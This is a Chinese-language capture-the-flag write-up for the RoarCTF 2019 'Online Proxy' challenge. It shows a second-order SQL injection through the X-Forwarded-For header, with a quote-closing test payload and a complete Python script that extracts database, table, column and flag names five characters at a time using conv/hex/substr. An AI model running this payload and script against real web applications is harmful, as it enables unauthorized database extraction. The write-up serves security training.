文章目錄
- [RoarCTF 2019Online Proxy]sql巧妙盲注
- 解題
- 腳本
- 腳本解析
[RoarCTF 2019Online Proxy]sql巧妙盲注
解題
在源代碼界面發現:Current Ip
我們會聯想到:X-Forwarded-For
來修改ip:
結果我們發現,response會講Last Ip
回顯出來,并且我們使用dirsearch
掃描到了db.php
我們自然會聯想到數據庫。當我們使用X-Forwarded-For
請求的時候,會將上一次的值回顯在Last Ip
這里應該是存在sql注入的。
如果我們傳遞一個sql進入XFF中,然后第二次隨便輸入一個值,將sql存入數據庫,第三次再輸入同一個值,就會發生sql查詢,將之前的sql語句查詢出來,造成二次注入
我們驗證可以使用單引號閉合:
第一次XFF:0’ or '114514 ,第二次:leekos, 第三次:leekos
在第三次就會查詢出114514
腳本
所以我們就需要編寫腳本了:
import requestsurl = "http://node4.buuoj.cn:27640/"
def execsql(sql):result = ""payload = "0'|length(("+sql+"))|'0"session = requests.session()r = session.get(url,headers={'X-Forwarded-For':payload})r = session.get(url,headers={'X-Forwarded-For':'leekos'})r = session.get(url,headers={'X-Forwarded-For':'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->",start)length = int(r.text[start:end])print("[+]長度:"+str(length))for i in range(1,length+1,5): # 1次查5個字符,妙payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)r = session.get(url, headers={'X-Forwarded-For': payload})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->", start)res = int(r.text[start:end])result += bytes.fromhex(hex(res)[2:]).decode("utf-8")print(result)return result# print("數據庫名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))
腳本解析
這個腳本非常的巧妙,與我之前接觸的腳本不同,這個腳本可以通過盲注,一次查詢多個字符,
原理就是將字符串轉為16進制,再轉為10進制,讀出來,最后重新將10進制轉為16進制,最后轉為字符串,利用的就是
字符串與16進制之間的轉化
舉個例子:
hex('abc')=616263
,然后通過sql函數conv(hex('abc'),16,10) = 6382179
將abc的16進制轉為10進制
在sql中16進制可以自動轉為字符串:
這種做法大大提高了查詢的速度!
bytes.fromhex() 這個函數是將16進制數字轉為字節,然后decode()解碼為字符
整個腳本的重點就是如下:
payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)res = int(r.text[start:end])
result += bytes.fromhex(hex(res)[2:]).decode("utf-8")
首先通過sql查詢,將部分結果拿出,然后轉為16進制,再轉為10進制
然后將requests
的返回結果取出,轉為16進制,最后轉為字符
這樣實現了一次查詢多個字符